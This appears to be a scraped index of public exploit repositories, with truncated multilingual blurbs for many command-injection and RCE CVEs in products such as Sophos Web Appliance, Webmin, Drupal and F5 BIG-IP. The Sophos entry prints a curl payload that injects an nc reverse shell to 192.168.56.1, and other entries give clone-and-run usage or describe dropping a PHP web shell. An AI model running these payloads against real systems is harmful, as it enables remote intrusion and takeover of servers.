CVE-2023-1671

CVE-2023-1671 ثغرة RCE قبل المصادقة في Sophos Web Appliance إثبات المفهوم curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64"...

CVE-2019-15107

استغلال CVE-2019-15107 في Webmin CVE-2019-15107 تم اكتشاف مشكلة في Webmin =1.920. تحتوي المعلمة old في passwordchange.cgi على ثغرة حقن أوامر. NVD التجميع $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make مثال للاستخدام $ ./exploit http://thomaswreath.thm:10000 +...

CVE-2026-28672

CVE-2026-28672 — حقن أوامر نظام التشغيل في Apache Ranger UnixUserGroupBuilder أداة إعادة إنتاج قابلة للتشغيل proof-of-concept لثغرة حقن أوامر نظام التشغيل في وحدة مزامنة المستخدمين unixusersync الخاصة بـ Apache Ranger. أثناء تعداد مجموعات كل مستخدم تتم مزامنته، يشغّل UnixUserGroupBuilder أمر id ع...

CVE-2025-32778

CVE-2025-32778 - Web-Check कमांड इंजेक्शन शोषण विवरण CVE-2025-32778 एक गंभीर कमांड इंजेक्शन भेद्यता है Web-Check OSINT टूल में, जो Lissy93 द्वारा बनाया गया है। यह अप्रमाणित हमलावरों को स्क्रीनशॉट API में url पैरामीटर के माध्यम से मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देता है। यह Python...

CVE-2026-10520

CVE-2026-10520 إيفانتي سينتري المعروف سابقًا باسم MobileIron Sentry هو بوابة أمنية للمؤسسات تقوم بوكالة حركة المرور بين الأجهزة المحمولة وموارد الخلفية المؤسسية: البريد الإلكتروني وSharePoint وتطبيقات الويب الداخلية. يفرض سياسات إدارة الأجهزة المحمولة MDM، وينهي جلسات الأجهزة المحمولة المشفرة،...

CVE-2018-6961

استغلال CVE-2018-6961 بلغة Python3 يحتوي VMware NSX SD-WAN Edge من VeloCloud قبل الإصدار 3.1.0 على ثغرة حقن أوامر في مكوّن واجهة الويب المحلية. هذا المكوّن معطَّل افتراضيًا ولا ينبغي تمكينه على الشبكات غير الموثوقة. ستقوم VeloCloud من VMware بإزالة هذه الخدمة من المنتج في الإصدارات المستقبلية. قد...

Drupalgedon3

Drupal शोषण के लिए POC SA-CORE-2018-004 / CVE-2018-7602 लेखक Alexandre Nguyen उपयोग usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal ba...

Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx

FreePBX-Breaker PoC y código automatizado para explotar CVE-20...

CVE-2023-0669

CVE-2023-0669 يعاني GoAnywhere MFT من ثغرة حقن أوامر قبل المصادقة في License Response Servlet بسبب إلغاء تسلسل كائن يتم التحكم فيه بشكل تعسفي من قبل المهاجم. 0x00 دورك shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 الاستخدام إصدار Java java -version openjdk version "1.8.0362" المساعدة jav...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — مدقّق CVE الجماعي لـ HP HPLIP 2026-09 أداة فحص جماعي وبحث استغلال لثغرات مشغّل HP HPLIP 3.26.6 — من CVE-2026-91097 حتى CVE-2026-91106. CVE| CVSS 4| CWE| عن بُعد ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| نعم واجهة المستخدم CVE-2026-91098| 8.6| CWE-122| نعم واجهة المستخدم...

CVE-2025-69212-Exploit

CVE-2025-69212 - استغلال حقن أوامر P7M في OpenSTAManager سكربت استغلال آلي بالكامل لثغرة CVE-2025-69212 ، وهي ثغرة حقن أوامر في OpenSTAManager. يقوم السكربت بالمصادقة باستخدام بيانات اعتماد المسؤول، وينشر قشرة ويب PHP خبيثة عبر ملف P7M مُصمم داخل أرشيف ZIP، ويتيح تنفيذ الأوامر أو الحصول على قشرة...

CVE-2022-33891

CVE-2022-33891 - ثغرة حقن الأوامر في Apache Spark ⚠️ لأغراض تعليمية وبحوث أمنية مصرح بها فقط مؤلفو الاستغلال الأصليون شكر كبير لمؤلف PoC الأصلي AkbarTrilaksana الوصف توفر واجهة مستخدم Apache Spark إمكانية تفعيل قوائم التحكم بالوصول ACLs عبر خيار الإعداد spark.acls.enable. مع وجود مرشح مصادقة...

CVE-2022-21587-Oracle-EBS-

المتطلب الأساسي لتشغيل هذا الاستغلال: python3 يتضمن الوحدات requests, os, sys, slipit uuencode قبل التشغيل، تأكد من استخدامه فقط للأغراض الأخلاقية إذا فشل الاستغلال في التشغيل: تأكد من تثبيت الوحدات المطلوبة مسبقاً تثبيت requests pip3 install requests تثبيت slipit, git clone...

WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin 1. भेद्यता विवरण Webmin एक शक्तिशाली वेब-आधारित सिस्टम प्रबंधन उपकरण है, जो Unix सिस्टम में व्यापक रूप से उपयोग किया जाता है। Webmin में PasswordChange.cgi अनुरोध प्राप्त करने की प्रक्रिया में, old पैरामीट...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 جهاز توجيه لاسلكي كوري — PoC لحقن أوامر نظام التشغيل التثبيت git clone https://github.com/ZAxyr/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt الاستخدام عنوان URL واحد pocsuite -r pocs/CVE-2021-46422.py -u IP عناوين URL متعددة pocsuite -r...

CVE-2021-40222

CVE-2021-40222 التطبيق : Rittal CMC PU III Web management الأجهزة : CMC PU III 7030.000 مراجعة البرنامج : V3.11.002 مراجعة الجهاز : V3.00 نوع الهجوم : تنفيذ التعليمات البرمجية عن بعد الحل : التحديث إلى مراجعة البرنامج V3.17.10 أو أحدث الملخص : يفشل تطبيق الويب في تعقيم إدخال المستخدم على صفحة تكو...

CVE-2020-12124

CVE-2020-12124 تطبيق لإثبات المفهوم لـ CVE-2020-12124 https://vulners.com/cve/CVE-2020-12124 ما يلي هو تحديث لـ CVE-2020-12124، وهي ثغرة تستغل حقن الأوامر في جهاز التوجيه Wavlink WN530H4 حيث يتم أخذ معلمات معينة من معلمات عنوان URL في طلب ويب إلى نقطة النهاية /cgi-bin/liveapi.cgi ووضعها في سطر...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS अनप्रमाणित रिमोट कमांड इंजेक्शन। अवलोकन इस रिपॉजिटरी में CVE-2022-36553 का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC रिवर्स शेल स्क्रिप्ट शामिल है, जो Hytec Inter HWL-2511-SS उपकरणों में एक गंभीर कमजोरी है। यह स्क्रिप्ट एक व्यावहारिक प्रदर्शन है, जो मेरे...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 स्कैनर BIG-IP iControl REST कमजोरी CVE-2022-1388 स्कैनर उपयोग pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py अनुरोध POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token Cache-Control: max-age=0...

CVE-2024-3400-pot

CVE-2024-3400-pot Honeypot بسيط لثغرة حقن الأوامر CVE-2024-3400 في أنظمة Palo Alto PAN-OS. الميزات محاكاة الطلب عند زيارة /global-protect/login.esp صفحة تسجيل الدخول لبوابة GlobalProtect محاكاة طلب HTTP POST /ssl-vpn/hipreport.esp و Cookie:...